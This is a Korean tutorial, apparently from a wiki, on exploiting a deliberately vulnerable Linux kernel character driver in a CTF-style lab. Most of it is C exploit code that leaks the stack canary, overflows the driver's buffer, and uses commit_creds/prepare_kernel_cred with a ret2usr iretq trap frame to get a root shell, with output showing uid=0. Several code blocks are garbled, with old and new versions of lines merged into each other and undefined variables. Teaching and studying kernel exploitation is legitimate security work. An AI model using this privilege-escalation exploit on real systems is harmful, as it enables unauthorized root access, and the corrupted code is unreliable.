...
Canary 값을 추출하기 위해 다음과 같이 코드를 작성합니다.
lseek() 함수를 이용하여 fd의 포인트 위치로 부터 16 byte 뒤로 이동합니다.
read() 함수를 이용하여 fd 영역의 값을 buf영역에 저장합니다.
memcpy() 함수를 이용하여 "buf+48"영역으로 부터 8 byte를 "canaryval"변수에 복사합니다.
- Canary는 data 변수의 시작 주소로 부터 64byte 떨어져 있고, lseek() 함수를 이용하여 fd의 포인터의 위치를 16byte를 뒤로 이동했기 때문에 "buf"변수에 저장된 Canary의 위치는 "buf+48"가 됩니다.(64 - 16 = 48)
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -static -o leak leak.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[128]; char canaryval[8]; int fd,i,j; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canaryval, buf+48,8); printf("size_t canary is :"); for(i = 0;i < 8;i++){= ((size_t *)val)[0]; printf("%02x [+]canary: %p\n",canary[i] & 0xff); } printf("\n" (void *)canary); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -static -o overflow Overflowoverflow.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[512],; size_t rop[512]; char canaryval[8]; int fd,i,j; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); printf("%s\n",buf); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canaryval, buf+48,8); printf("canary is :"); size_t canary = ((size_t *)val)[0]; for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff); printf("[+]canary: %p\n", (void *)canary); int k = 8; memset(&rop[0], 0x41, 64); memcpy(rop+64,canary,8)[k++] = canary; memset(rop+72,'A',8);[k++] = 0x4141414141414141; //AAAAAAAA memset(rop+80,'B',8);[k++] = 0x4242424242424242; //BBBBBBBB memset(rop+88,'C',8);[k++] = 0x4343434343434343; //CCCCCCCC memset(rop+96,'D',8);[k++] = 0x4444444444444444; //DDDDDDDD memset(rop+104,'E',8);[k++] = 0x4545454545454545; //EEEEEEEE memset(rop+112,'F',8);[k++] = 0x4646464646464646; //FFFFFFFF write(fd, rop, 120); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...
Code Block | ||
---|---|---|
| ||
//gcc -masm=intel -static -o address address.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); unsigned long kallsym_getaddr(const char* str) { FILE *stream; char fbuf[256]; char addr[32]; streamvoid *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; void *kallsym_getaddr(char *name) { FILE *fp; void *addr; char sym[512]; fp = fopen("/proc/kallsyms", "r"); if(stream < 0) { printf("failed to open /proc/kallsyms\n"); return 0; } memset(fbuf,0x00,sizeof(fbuf)); while(fgets(fbuf,256,stream) != NULL) { char *p = fbuf; char *a = addr; if(strlen(fbuf while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) { if (strcmp(sym, name) == 0) continue; memset(addr,0x00,sizeof(addr)); fbuf[strlen(fbuf)-1] = '\0'; while(*p != ' ') *a++ = *p++; p += 3; if(!strcmp(p,str)) return strtoul(addr, NULL, 16); } return 0 { break; }else{ addr = NULL; } } fclose(fp); return addr; } int main() { static char buf[512],; size_t rop[512]; char canaryval[8]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "commit_creds()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canaryval, buf+48,8); size_t printf("canary is :");= ((size_t *)val)[0]; for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff); printf("[+]canary: %p\n", (void *)canary); int k = 8; memset(&rop[0], 0x41, 64); memcpy(rop+64,canary,8)[k++] = canary; memset(rop+72,'A',8);[k++] = 0x4141414141414141; //AAAAAAAA memset(rop+80,'B',8);[k++] = 0x4242424242424242; //BBBBBBBB memset(rop+88,'C',8);[k++] = 0x4343434343434343; //CCCCCCCC memset(rop+96,'D',8);[k++] = 0x4444444444444444; //DDDDDDDD memset(rop+104,'E',8);[k++] = 0x4545454545454545; //EEEEEEEE memset(rop+112,'F',8); write(fd, rop, 120); [k++] = 0x4646464646464646; //FFFFFFFF write(fd, rop, 104120); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -masm=intel -static -o test test.c ... unsigned long __attribute__((regparm(3)))void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(unsignedvoid long*) cred); unsigned long struct __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);trap_frame { struct trap_frame { void void *user_rip ; ; // instruction pointer uint64_t user_cs ; ; // code segment uint64_t user_rflags ; // CPU flags void *user_rsp ; ; // stack pointer uint64_t user_ss ; ; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &getShell ; } void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } ... //Exploit code int k = 8; memset(&rop[0], 0x41, 64); memcpy(rop+64,canary,8)[k++] = canary; memset(rop+72,'A',8)[k++] = 0; memset(rop+80,'B',8)[k++] = 0; memset(rop+88,'C',8)[k++] = 0; *(void**)(rop+96)rop[k++] = &(size_t)payload; prepare_tf(); //Overflow write(fd, rop, 1048*k++); ... |
- 추가된 코드를 이용하여 모듈을 디버깅하기 위해 모듈을 새로 등록하고 주소값을 확인합니다.
- 디버깅할 함수는 chardev_write이며, 주소는 0xffffffffc01a10d0 입니다.
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./testr2u commit_creds address is :0xffffffff8109d760 prepare_kernel_cred address is :0xffffffff8109da40 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | c3 47 d4 a9 00 00 00 00 a0 2c 6c 00 00 00 00 00 | ?Gԩ?,l # id uid=0(root) gid=0(root) groups=0(root) # |
...
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -masm=intel -static -o exploitr2u exploit.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (void *(*prepare_kernel_cred)(unsigned long cred); struct trap_frame { void *user_rip ; // instruction pointer uint64_t user_cs ; // code segment uint64_t user_rflags ; // CPU flags void *user_rsp ; // stack pointer uint64_t user_ss ; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &getShell ; } void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("swapgs;" "mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } unsigned long kallsym_getaddr(const char* str) { FILE *stream; char fbuf[256]; char addr[32]; stream = fopen("/proc/kallsyms","r"); if(stream < 0) {(void *) ; int (*commit_creds)(void *) ; struct trap_frame { void *user_rip; // instruction pointer uint64_t user_cs; // code segment uint64_t user_rflags; // CPU flags void *user_rsp; // stack pointer uint64_t user_ss; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" printf("failed to open /proc/kallsyms\n");mov tf+32, ss;" return 0); tf.user_rip = &getShell ; } void memset(fbuf,0x00,sizeof(fbuf)); payload(void) { while(fgets(fbuf,256,stream) != NULL)commit_creds(prepare_kernel_cred(0)); { asm("swapgs;" "mov %%rsp, %0;" char *p = fbuf; "iretq;" : : "r" (&tf)); } void *kallsym_getaddr(char *a = addr; name) { FILE *fp; if(strlen(fbuf) == 0) void *addr; continuechar sym[512]; fp = memset(addr,0x00,sizeof(addr))fopen("/proc/kallsyms", "r"); while (fscanf(fp, "%p fbuf[strlen(fbuf)-1] = '\0'; %*c %512s\n", &addr, sym) > 0) { if while(*p != ' ')(strcmp(sym, name) == 0) { *a++ = *p++break; p += 3; }else{ if(!strcmp(p,str)) addr = NULL; return strtoul(addr, NULL, 16); } } fclose(fp); return 0addr; } int main() { static char buf[512],; size_t rop[512] = {0}; char canaryval[8]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "preparecommit_kernel_credcreds()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canaryval, buf+48,8); printf("canary is :");size_t canary = ((size_t *)val)[0]; for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff[+]canary: %p\n", (void *)canary); int k //Exploit code= 8; memset(&rop[0], 0x41, 64); memcpy(rop+64,canary,8)[k++] = canary; memset(rop+72,'A',8);[k++] = 0x4141414141414141; //AAAAAAAA memset(rop+80,'B',8); memset(rop+88,'C',8);[k++] = 0x4242424242424242; //BBBBBBBB *(void**)(rop+96)rop[k++] = &payload;0x4343434343434343; //CCCCCCCC memset(rop+104,'D',8)[k++] = (size_t)payload; prepare_tf(); //Overflow write(fd, rop, 1048*k++); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...